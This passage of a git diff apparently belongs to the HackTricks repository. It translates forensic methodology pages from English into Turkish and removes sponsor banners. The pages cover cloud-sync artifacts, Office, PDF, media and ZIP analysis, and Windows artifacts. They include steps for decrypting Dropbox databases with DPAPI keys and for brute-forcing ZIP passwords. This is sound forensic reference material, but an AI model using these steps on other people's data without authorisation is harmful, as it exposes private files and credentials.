- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve `logs\Personal` içinde, senkronize edilmiş dosyalarla ilgili bazı ilginç verileri içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Boyut (bayt cinsinden) +- Oluşturulma tarihi +- Değiştirilme tarihi +- Buluttaki dosya sayısı +- Klasördeki dosya sayısı +- **CID**: OneDrive kullanıcısının benzersiz kimliği +- Rapor oluşturma zamanı +- İşletim sisteminin HD boyutu -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +CID'yi bulduktan sonra, **bu kimliği içeren dosyaları aramanız önerilir**. _**\.ini**_ ve _**\.dat**_ adında, OneDrive ile senkronize edilmiş dosyaların isimlerini içerebilecek dosyalar bulabilirsiniz. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\ +Bu klasör, hesap e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 hash'leri vb. gibi bilgileri içeren Sync_log.log adında bir dosya içerir. Silinmiş dosyalar bile bu günlük dosyasında ilgili MD5 ile görünmektedir. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda, **senkronize** **dosyaların** **isimlerini**, değiştirilme zamanını, boyutunu ve dosyaların MD5 kontrol toplamını bulabilirsiniz. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +**`Sync_config.db`** veritabanının tablo verileri, hesap e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\ +Veritabanlarını şu klasörlerde bulabilirsiniz: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Ve ana veritabanları şunlardır: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +".dbx" uzantısı, **veritabanlarının** **şifreli** olduğunu gösterir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz. -However, the main information is: +Ancak, ana bilgiler şunlardır: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +Bu bilgilere ek olarak, veritabanlarını şifrelerini çözmek için hala şunlara ihtiyacınız var: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **şifreli DPAPI anahtarı**: Bunu `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) +- **`SYSTEM`** ve **`SECURITY`** hives +- **DPAPI anahtarları**: `\Users\\AppData\Roaming\Microsoft\Protect` içinde bulunabilir +- Windows kullanıcısının **kullanıcı adı** ve **şifresi** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Sonra [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)** aracını kullanabilirsiniz:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Her şey beklendiği gibi giderse, araç, **orijinalini geri kazanmak için kullanmanız gereken anahtarı** gösterecektir. Orijinalini geri kazanmak için, bu [cyber_chef tarifi]() kullanarak anahtarı tarifin "şifre" kısmına koyun. +Sonuçta elde edilen hex, şifrelenmiş veritabanlarını çözmek için kullanılan nihai anahtardır. ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** veritabanı şunları içerir: -The **`config.dbx`** database contains: +- **Email**: Kullanıcının e-posta adresi +- **usernamedisplayname**: Kullanıcının adı +- **dropbox_path**: Dropbox klasörünün bulunduğu yol +- **Host_id: Hash**: Buluta kimlik doğrulamak için kullanılan hash. Bu yalnızca web üzerinden iptal edilebilir. +- **Root_ns**: Kullanıcı tanımlayıcısı -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosyalar ve klasörler hakkında bilgi içerir. `File_journal` tablosu daha fazla yararlı bilgiye sahiptir: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Dosyanın sunucu içindeki bulunduğu yol (bu yol, istemcinin `host_id` ile önceden gelir). +- **local_sjid**: Dosyanın versiyonu +- **local_mtime**: Değiştirilme tarihi +- **local_ctime**: Oluşturulma tarihi -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: Dropbox'ın tüm dosya ve klasörlerinin hash'i +- **block_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir +- **mount_table**: Dropbox'ın paylaşılan klasörleri +- **deleted_fields**: Dropbox'tan silinmiş dosyalar - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..329e5d78e 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Office dosyası analizi {{#include ../../../banners/hacktricks-training.md}} -
+Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olan birçok ofis belge formatı oluşturmuştur. Bu formatlar makrolar içerebilir, bu da onları kimlik avı ve kötü amaçlı yazılım hedefleri haline getirir. OOXML dosyaları, dosya ve klasör hiyerarşisini ve XML dosyası içeriklerini ortaya çıkaran zip konteynerleri olarak yapılandırılmıştır. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +OOXML dosya yapısını keşfetmek için bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir ve CTF zorlukları içinde veri gizleme konusunda devam eden yenilikleri göstermektedir. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Analiz için, **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtım vektörleri olarak hizmet eden gömülü makroları tanımlama ve analiz etme konusunda yardımcı olur; genellikle ek kötü amaçlı yükleri indirip çalıştırırlar. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan gerçekleştirilebilir; bu, kesme noktaları ve izleme değişkenleri ile hata ayıklamaya olanak tanır. +**oletools**'un kurulumu ve kullanımı basittir; pip ile kurulum ve belgelerden makro çıkarma komutları sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..420430f62 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDF Dosya analizi {{#include ../../../banners/hacktricks-training.md}} -
+**Daha fazla bilgi için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF formatı, karmaşıklığı ve verileri gizleme potansiyeli ile bilinir, bu da onu CTF adli bilişim zorlukları için bir odak noktası haline getirir. Düz metin unsurlarını, sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerdeki betikleri içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özel bir düzenleyici kullanılabilir. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Görünmez katmanlar +- Adobe tarafından sağlanan XMP meta veri formatı +- Artan nesil +- Arka planla aynı renkteki metin +- Resimlerin arkasındaki metin veya üst üste binen resimler +- Gösterilmeyen yorumlar -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Özel PDF analizi için, [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemleri üzerine rehberi gibi kaynaklar, artık orijinal konumunda barındırılmasa da, hala değerli bilgiler sunmaktadır. [Rehberin bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini tarafından hazırlanan [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..7796d8d36 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG dosyaları**, **kaybı olmayan sıkıştırma** özellikleri nedeniyle **CTF zorlukları** için yüksek bir itibara sahiptir ve gizli verilerin gömülmesi için idealdir. **Wireshark** gibi araçlar, PNG dosyalarının verilerini ağ paketleri içinde analiz ederek, gömülü bilgileri veya anormallikleri ortaya çıkarmaya olanak tanır. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +PNG dosyası bütünlüğünü kontrol etmek ve bozulmaları onarmak için **pngcheck** kritik bir araçtır; PNG dosyalarını doğrulamak ve teşhis etmek için komut satırı işlevselliği sunar ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Dosyalar basit onarımların ötesindeyse, [OfficeRecovery'nin PixRecovery](https://online.officerecovery.com/pixrecovery/) gibi çevrimiçi hizmetler, **bozulmuş PNG'leri onarmak** için web tabanlı bir çözüm sunarak CTF katılımcıları için kritik verilerin kurtarılmasına yardımcı olur. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Bu stratejiler, CTF'lerde kapsamlı bir yaklaşımın önemini vurgular; gizli veya kaybolmuş verileri ortaya çıkarmak ve kurtarmak için analitik araçlar ve onarım tekniklerinin bir karışımını kullanır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..c21b84003 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**Ses ve video dosyası manipülasyonu**, **CTF adli bilişim zorlukları** için temel bir unsurdur ve gizli mesajları saklamak veya ortaya çıkarmak için **steganografi** ve meta veri analizinden yararlanır. **[mediainfo](https://mediaarea.net/en/MediaInfo)** ve **`exiftool`** gibi araçlar, dosya meta verilerini incelemek ve içerik türlerini tanımlamak için gereklidir. -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +Ses zorlukları için, **[Audacity](http://www.audacityteam.org/)**, dalga formlarını görüntülemek ve ses spektrumlarını analiz etmek için öne çıkan bir araçtır; bu, ses içinde kodlanmış metni ortaya çıkarmak için gereklidir. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**, detaylı spektrum analizi için şiddetle tavsiye edilir. **Audacity**, gizli mesajları tespit etmek için parçaları yavaşlatma veya tersine çevirme gibi ses manipülasyonlarına olanak tanır. **[Sox](http://sox.sourceforge.net/)**, ses dosyalarını dönüştürme ve düzenleme konusunda mükemmel bir komut satırı aracıdır. -{% embed url="https://academy.8ksec.io/" %} +**En Az Anlamlı Bitler (LSB)** manipülasyonu, ses ve video steganografisinde yaygın bir tekniktir ve medya dosyalarının sabit boyutlu parçalarını kullanarak verileri gizlice yerleştirir. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**, **DTMF tonları** veya **Morse kodu** olarak gizlenmiş mesajları çözmek için faydalıdır. -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +Video zorlukları genellikle ses ve video akışlarını bir araya getiren konteyner formatlarını içerir. **[FFmpeg](http://ffmpeg.org/)**, bu formatları analiz etmek ve manipüle etmek için başvurulan araçtır; içeriği de-multiplexing yapabilir ve oynatabilir. Geliştiriciler için, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**, FFmpeg'in yeteneklerini Python'a entegre ederek gelişmiş scriptable etkileşimler sağlar. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. - -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +Bu araçlar dizisi, CTF zorluklarında gereken çok yönlülüğü vurgular; katılımcılar, ses ve video dosyalarında gizli verileri ortaya çıkarmak için geniş bir analiz ve manipülasyon teknikleri yelpazesini kullanmalıdır. ## References - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..449b26b52 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,20 +1,20 @@ -# ZIPs tricks +# ZIP'ler için hileler {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Komut satırı araçları**, **zip dosyalarını** yönetmek için, zip dosyalarını teşhis etmek, onarmak ve kırmak için gereklidir. İşte bazı anahtar yardımcı programlar: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Bir zip dosyasının neden açılmadığını gösterir. +- **`zipdetails -v`**: Zip dosyası format alanlarının ayrıntılı analizini sunar. +- **`zipinfo`**: Bir zip dosyasının içeriğini çıkarmadan listeler. +- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozulmuş zip dosyalarını onarmaya çalışır. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zip şifrelerini brute-force ile kırmak için bir araç, yaklaşık 7 karaktere kadar olan şifreler için etkilidir. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zip dosyası format spesifikasyonu](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT), zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sunar. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Şunu belirtmek önemlidir ki, şifre korumalı zip dosyaları **içindeki dosya adlarını veya dosya boyutlarını şifrelemez**, bu, RAR veya 7z dosyalarıyla paylaşılmayan bir güvenlik açığıdır; bu dosyalar bu bilgileri şifreler. Ayrıca, daha eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifrelenmemiş bir kopyası mevcutsa **düz metin saldırısına** karşı savunmasızdır. Bu saldırı, zip'in şifresini kırmak için bilinen içeriği kullanır; bu zayıflık [HackThis'in makalesinde](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) ve [bu akademik çalışmada](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) detaylandırılmıştır. Ancak, **AES-256** şifrelemesiyle güvence altına alınmış zip dosyaları bu düz metin saldırısına karşı bağışıklık gösterir, bu da hassas veriler için güvenli şifreleme yöntemlerinin seçilmesinin önemini vurgular. -## References +## Referanslar - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..9140d9cb6 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,511 +4,493 @@ {{#include ../../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} +## Genel Windows Artifaktları -## Generic Windows Artifacts +### Windows 10 Bildirimleri -### Windows 10 Notifications +` \Users\\AppData\Local\Microsoft\Windows\Notifications` yolunda `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) veritabanını bulabilirsiniz. -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Bu SQLite veritabanının içinde, ilginç veriler içerebilecek tüm bildirimlerin (XML formatında) bulunduğu `Notification` tablosunu bulabilirsiniz. -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +### Zaman Çizelgesi -### Timeline +Zaman çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir. -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Veritabanı `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur, bu dosyalar** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +### ADS (Alternatif Veri Akışları) -### ADS (Alternate Data Streams) +İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** **indirildiğini** gösteren **ADS Zone.Identifier** içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla** **bilgi** de ekler. -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +## **Dosya Yedekleri** -## **File Backups** +### Geri Dönüşüm Kutusu -### Recycle Bin +Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde **`$Recycle.bin`** klasöründe bulunur (`C:\$Recycle.bin`).\ +Bu klasörde bir dosya silindiğinde 2 özel dosya oluşturulur: -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: - -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Dosya bilgileri (silindiği tarih) +- `$R{id}`: Dosyanın içeriği ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Bu dosyalara sahip olduğunuzda, silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista – Win10 için 